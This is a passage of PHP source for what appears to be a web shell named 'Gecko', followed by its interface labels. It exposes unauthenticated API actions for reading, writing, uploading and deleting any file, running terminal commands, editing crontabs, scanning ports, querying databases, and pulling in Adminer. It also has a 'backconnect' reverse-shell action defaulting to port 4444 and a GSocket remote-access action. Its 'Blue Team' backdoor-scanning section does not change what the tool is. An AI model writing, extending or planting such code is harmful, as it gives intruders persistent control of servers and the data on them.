‘bmp’ => ‘image/bmp’,
‘avif’ => ‘image/avif’,
‘pdf’ => ‘application/pdf’,
);
$mime = isset($mimes[$ext]) ? $mimes[$ext] : ‘application/octet-stream’;

header(‘Content-Type: ‘ . $mime);
header(‘Content-Length: ‘ . filesize($path));
header(‘X-Content-Type-Options: nosniff’);
header(‘Content-Disposition: inline; filename=”‘ . basename($path) . ‘”‘);
header(‘Cache-Control: private, max-age=300’);
readfile($path);
exit;
}

// Adminer — single-file DB manager (cached locally)
if (isset($_GET[‘adminer’])) {
$adminerFile = __DIR__ . DIRECTORY_SEPARATOR . ‘.adminer.php’;
if (!is_file($adminerFile)) {
$ctx = stream_context_create(array(‘http’ => array(‘timeout’ => 15)));
$data = @file_get_contents(‘https://www.adminer.org/latest.php’, false, $ctx);
if ($data && strlen($data) > 1000) {
@file_put_contents($adminerFile, $data);
}
}
if (is_file($adminerFile)) {
include $adminerFile;
exit;
}
http_response_code(503);
echo ‘Adminer unavailable (download failed). Use built-in DB Manager.’;
exit;
}

if (isset($_GET[‘phpinfo’])) {
phpinfo();
exit;
}

// Handle API requests
if (isset($_GET[‘api’])) {
$contentType = isset($_SERVER[‘CONTENT_TYPE’]) ? $_SERVER[‘CONTENT_TYPE’] : ”;
$hasJson = strpos($contentType, ‘application/json’) !== false;

if ($hasJson) {
$raw = file_get_contents(‘php://input’);
if (!$raw) $raw = ‘{}’;
$decoded = json_decode($raw, true);
$input = is_array($decoded) ? $decoded : array();
} else {
$input = $_POST;
}

$action = (string)_v($input, ‘action’, _v($_GET, ‘action’, ‘list’));

switch ($action) {
case ‘list’:
$rel = sanitizeRelPath((string)_v($input, ‘path’, ”));

// Determine the directory to list
if (preg_match(‘/^[A-Za-z]:\//’, $rel)) {
// Absolute Windows path
$dir = str_replace(‘/’, DIRECTORY_SEPARATOR, $rel);
} elseif (strlen($rel) > 0 && $rel[0] === ‘/’) {
// Absolute Linux path
$dir = $rel;
} elseif ($rel === ”) {
// Default base directory
$dir = $baseDir;
} else {
// Relative path
$dir = resolvePath($baseDir, $rel);
}

if (!$dir || !is_dir($dir)) {
jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid directory: ‘ . $rel), 403);
}

jsonOut(array(
‘ok’ => true,
‘path’ => $rel,
‘entries’ => listEntries($dir),
‘disk’ => array(
‘free’ => @disk_free_space($dir),
‘total’ => @disk_total_space($dir),
),
));
break;

case ‘read’:
$path = resolvePath($baseDir, (string)_v($input, ‘path’, ”));
if (!$path || is_dir($path)) jsonOut(array(‘ok’ => false, ‘error’ => ‘File not found’), 404);
$sz = filesize($path);
if (!isTextFile($path) && (int)($sz ? $sz : 0) > 512000) jsonOut(array(‘ok’ => false, ‘error’ => ‘File too large or binary’), 400);
jsonOut(array(
‘ok’ => true,
‘content’ => file_get_contents($path),
‘editable’ => isTextFile($path),
‘size’ => filesize($path),
‘modified’ => filemtime($path),
));
break;

case ‘save’:
$path = resolvePath($baseDir, (string)_v($input, ‘path’, ”));
if (!$path || is_dir($path)) jsonOut(array(‘ok’ => false, ‘error’ => ‘File not found’), 404);
if (file_put_contents($path, (string)_v($input, ‘content’, ”)) === false) jsonOut(array(‘ok’ => false, ‘error’ => ‘Write failed’), 500);
jsonOut(array(‘ok’ => true, ‘modified’ => filemtime($path)));
break;

case ‘mkdir’:
$rel = sanitizeRelPath((string)_v($input, ‘path’, ”));
$name = basename(str_replace(‘\\’, ‘/’, (string)_v($input, ‘name’, ”)));
if ($name === ” || preg_match(‘/[<>:”|?*\\\\\/]/’, $name)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid name’), 400);
$parent = resolvePath($baseDir, $rel);
if (!$parent || !is_dir($parent)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid directory’), 403);
$new = $parent . DIRECTORY_SEPARATOR . $name;
if (file_exists($new)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Already exists’), 409);
if (!@mkdir($new, 0755)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Create failed’), 500);
jsonOut(array(‘ok’ => true));
break;

case ‘create_file’:
$rel = sanitizeRelPath((string)_v($input, ‘path’, ”));
$name = basename(str_replace(‘\\’, ‘/’, (string)_v($input, ‘name’, ”)));
if ($name === ” || preg_match(‘/[<>:”|?*\\\\\/]/’, $name)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid name’), 400);
$parent = resolvePath($baseDir, $rel);
if (!$parent || !is_dir($parent)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid directory’), 403);
$new = $parent . DIRECTORY_SEPARATOR . $name;
if (file_exists($new)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Already exists’), 409);
if (file_put_contents($new, (string)_v($input, ‘content’, ”)) === false) jsonOut(array(‘ok’ => false, ‘error’ => ‘Create failed’), 500);
jsonOut(array(‘ok’ => true));
break;

case ‘delete’:
$path = resolvePath($baseDir, (string)_v($input, ‘path’, ”));
if (!$path || $path === $baseDir) jsonOut(array(‘ok’ => false, ‘error’ => ‘Cannot delete’), 403);
$ok = is_dir($path) ? @rmdir($path) : @unlink($path);
if (!$ok) jsonOut(array(‘ok’ => false, ‘error’ => ‘Delete failed (folder must be empty)’), 500);
jsonOut(array(‘ok’ => true));
break;

case ‘rename’:
$path = resolvePath($baseDir, (string)_v($input, ‘path’, ”));
$newName = basename(str_replace(‘\\’, ‘/’, (string)_v($input, ‘new_name’, ”)));
if (!$path || $newName === ” || preg_match(‘/[<>:”|?*\\\\\/]/’, $newName)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid request’), 400);
$dest = dirname($path) . DIRECTORY_SEPARATOR . $newName;
if (file_exists($dest)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Name taken’), 409);
if (!@rename($path, $dest)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Rename failed’), 500);
jsonOut(array(‘ok’ => true, ‘new_path’ => ltrim(str_replace(‘\\’, ‘/’, substr($dest, strlen($baseDir))), ‘/’)));
break;

case ‘chmod’:
$path = resolvePath($baseDir, (string)_v($input, ‘path’, ”));
if (!$path) jsonOut(array(‘ok’ => false, ‘error’ => ‘File not found’), 404);
$permString = (string)_v($input, ‘perm’, ”);
if (!preg_match(‘/^[0-7]{3,4}$/’, $permString)) {
jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid permission format. Use octal (e.g., 755 or 0644)’), 400);
}
$octalPerm = octdec($permString);
if (!@chmod($path, (int)$octalPerm)) {
jsonOut(array(‘ok’ => false, ‘error’ => ‘Failed to change permissions’), 500);
}
clearstatcache(true, $path);
$newPerm = substr(sprintf(‘%o’, fileperms($path)), -4);
jsonOut(array(‘ok’ => true, ‘perm’ => $newPerm));
break;

case ‘upload’:
$rel = sanitizeRelPath((string)_v($_POST, ‘path’, ”));
$parent = resolvePath($baseDir, $rel);

if (!$parent || !is_dir($parent)) {
jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid directory: ‘ . $rel), 403);
}

if (empty($_FILES[‘file’])) {
jsonOut(array(‘ok’ => false, ‘error’ => ‘No file uploaded’), 400);
}

$f = $_FILES[‘file’];
if ($f[‘error’] !== UPLOAD_ERR_OK) {
$errors = array(
UPLOAD_ERR_INI_SIZE => ‘File too large (server limit: ‘ . ini_get(‘upload_max_filesize’) . ‘)’,
UPLOAD_ERR_FORM_SIZE => ‘File too large (form limit)’,
UPLOAD_ERR_PARTIAL => ‘File only partially uploaded’,
UPLOAD_ERR_NO_FILE => ‘No file uploaded’,
UPLOAD_ERR_NO_TMP_DIR => ‘Missing temporary folder’,
UPLOAD_ERR_CANT_WRITE => ‘Failed to write file’,
UPLOAD_ERR_EXTENSION => ‘Upload blocked by extension’,
);
$errorMsg = isset($errors[$f[‘error’]]) ? $errors[$f[‘error’]] : (‘Unknown upload error (code: ‘ . $f[‘error’] . ‘)’);
jsonOut(array(‘ok’ => false, ‘error’ => $errorMsg), 400);
}

$name = basename($f[‘name’]);
$name = preg_replace(‘/[<>:”|?*\\\\\/]/’, ”, $name);
$name = trim($name);

if ($name === ”) {
jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid filename’), 400);
}

$dest = $parent . DIRECTORY_SEPARATOR . $name;
if (file_exists($dest)) {
$info = pathinfo($name);
$filename = isset($info[‘filename’]) ? $info[‘filename’] : $name;
$extension = isset($info[‘extension’]) ? $info[‘extension’] : ”;
$name = $filename . ‘_’ . time() . ($extension !== ” ? ‘.’ . $extension : ”);
$dest = $parent . DIRECTORY_SEPARATOR . $name;
}

if (!move_uploaded_file($f[‘tmp_name’], $dest)) {
jsonOut(array(‘ok’ => false, ‘error’ => ‘Failed to save file. Check folder permissions.’), 500);
}

@chmod($dest, 0644);
jsonOut(array(‘ok’ => true, ‘name’ => $name, ‘message’ => ‘Upload successful’));
break;

case ‘search’:
$query = trim((string)_v($input, ‘query’, ”));
if ($query === ”) jsonOut(array(‘ok’ => true, ‘results’ => array()));
$results = array(); $count = 0;
searchFiles($baseDir, sanitizeRelPath((string)_v($input, ‘path’, ”)), $query, $results, $count);
jsonOut(array(‘ok’ => true, ‘results’ => $results));
break;

case ‘terminal’:
$rel = sanitizeRelPath((string)_v($input, ‘path’, ”));
$cwd = resolvePath($baseDir, $rel);
if (!$cwd || !is_dir($cwd)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid cwd’), 403);
$command = trim((string)_v($input, ‘command’, ”));
if ($command === ”) jsonOut(array(‘ok’ => false, ‘error’ => ‘Empty command’), 400);
$result = runTerminal($command, $cwd);
jsonOut(array(‘ok’ => true, ‘output’ => $result[‘output’], ‘exit_code’ => $result[‘exit_code’], ‘cwd’ => $rel));
break;

case ‘drives’:
$drives = array();
if (strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’) {
for ($i = 67; $i <= 90; $i++) { $drive = chr($i) . ':/'; if (@is_dir($drive)) { $free = @disk_free_space($drive); $total = @disk_total_space($drive); $drives[] = array( 'letter' => chr($i) . ‘:’,
‘path’ => $drive,
‘free’ => $free ? $free : 0,
‘total’ => $total ? $total : 0,
‘label’ => chr($i) . ‘:\\’,
);
}
}
} else {
// Linux/Mac – show root and common paths
$commonPaths = array(
‘/’ => ‘Root (/)’,
‘/home’ => ‘Home (/home)’,
‘/var’ => ‘Var (/var)’,
‘/etc’ => ‘Etc (/etc)’,
‘/usr’ => ‘Usr (/usr)’,
‘/tmp’ => ‘Tmp (/tmp)’,
);

foreach ($commonPaths as $path => $label) {
if (@is_dir($path)) {
$free = @disk_free_space($path);
$total = @disk_total_space($path);
$drives[] = array(
‘letter’ => $path,
‘path’ => $path,
‘free’ => $free ? $free : 0,
‘total’ => $total ? $total : 0,
‘label’ => $label,
);
}
}

// Add current document root
if (@is_dir($baseDir) && $baseDir !== ‘/’) {
$free = @disk_free_space($baseDir);
$total = @disk_total_space($baseDir);
$drives[] = array(
‘letter’ => $baseDir,
‘path’ => $baseDir,
‘free’ => $free ? $free : 0,
‘total’ => $total ? $total : 0,
‘label’ => ‘Document Root: ‘ . basename($baseDir),
);
}
}
jsonOut(array(‘ok’ => true, ‘drives’ => $drives));
break;

case ‘info’:
jsonOut(array(
‘ok’ => true,
‘php’ => PHP_VERSION,
‘os’ => PHP_OS,
‘base’ => $baseDir,
‘disk_free’ => @disk_free_space($baseDir),
‘disk_total’ => @disk_total_space($baseDir),
));
break;

case ‘cron_list’:
$cron = getCrontab();
jsonOut(array(
‘ok’ => true,
‘content’ => $cron[‘content’],
‘platform’ => $cron[‘platform’],
‘editable’ => $cron[‘editable’],
));
break;

case ‘cron_save’:
$content = (string)_v($input, ‘content’, ”);
$result = setCrontab($content);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut(array(‘ok’ => true));
break;

case ‘portscan’:
$host = trim((string)_v($input, ‘host’, ‘127.0.0.1’));
$ports = trim((string)_v($input, ‘ports’, ‘21,22,25,80,443,3306,8080’));
$timeout = (int)_v($input, ‘timeout’, 1);
$result = scanPorts($host, $ports, $timeout);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut($result);
break;

case ‘backconnect’:
$ip = trim((string)_v($input, ‘ip’, ”));
$port = (int)_v($input, ‘port’, 4444);
$method = (string)_v($input, ‘method’, ‘bash’);
$result = startBackconnect($ip, $port, $method);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut($result);
break;

case ‘gsocket’:
@set_time_limit(1800);
@ini_set(‘max_execution_time’, ‘1800’);
$method = (string)_v($input, ‘method’, ‘curl’);
$result = runGsocket($method);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut($result);
break;

case ‘db_tables’:
$result = dbListTables(
(string)_v($input, ‘type’, ‘mysql’),
(string)_v($input, ‘host’, ‘127.0.0.1’),
(int)_v($input, ‘port’, 3306),
(string)_v($input, ‘user’, ‘root’),
(string)_v($input, ‘pass’, ”),
(string)_v($input, ‘db’, ”)
);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut($result);
break;

case ‘db_query’:
$result = dbRunQuery(
(string)_v($input, ‘type’, ‘mysql’),
(string)_v($input, ‘host’, ‘127.0.0.1’),
(int)_v($input, ‘port’, 3306),
(string)_v($input, ‘user’, ‘root’),
(string)_v($input, ‘pass’, ”),
(string)_v($input, ‘db’, ”),
(string)_v($input, ‘sql’, ”)
);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut($result);
break;

case ‘sec_tool’:
@set_time_limit(120);
$tool = (string)_v($input, ‘tool’, ‘recon’);
$result = runSecTool($tool, $input, $baseDir);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut($result);
break;

case ‘blue_tool’:
@set_time_limit(600);
@ini_set(‘max_execution_time’, ‘600’);
$tool = (string)_v($input, ‘tool’, ‘backdoor’);
$result = runBlueTool($tool, $input, $baseDir);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut($result);
break;

case ‘blue_delete’:
$paths = _v($input, ‘paths’, array());
if (is_string($paths)) {
$decoded = json_decode($paths, true);
$paths = is_array($decoded) ? $decoded : array($paths);
}
$result = btDeleteThreats($baseDir, $paths);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut($result);
break;

case ‘blue_quarantine_list’:
$result = btListQuarantine($baseDir);
jsonOut($result);
break;

case ‘blue_restore’:
$ids = _v($input, ‘ids’, array());
if (is_string($ids)) {
$decoded = json_decode($ids, true);
$ids = is_array($decoded) ? $decoded : array($ids);
}
$result = btRestoreThreats($baseDir, $ids);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut($result);
break;

default:
jsonOut(array(‘ok’ => false, ‘error’ => ‘Unknown action’), 400);
}
exit;
}

?>

Gecko · <?= $_SERVER['SERVER_NAME'] ?>

Path Navigation

Storage

——

Loading workspace…

Fetching your files

—
—
—
—

Loading workspace…

New File

Rename

Permissions (Chmod)

Delete

Upload Files

Edit File

Preview

Terminal

⏰ Cron Manager

🔗 Backconnect

⚡ GSocket

🌐 Port Scanner

🗄️ Adminer (DB Manager)

🛡️ Cyber Security Hub

🔵 Blue Team Hub

📦 Move to Quarantine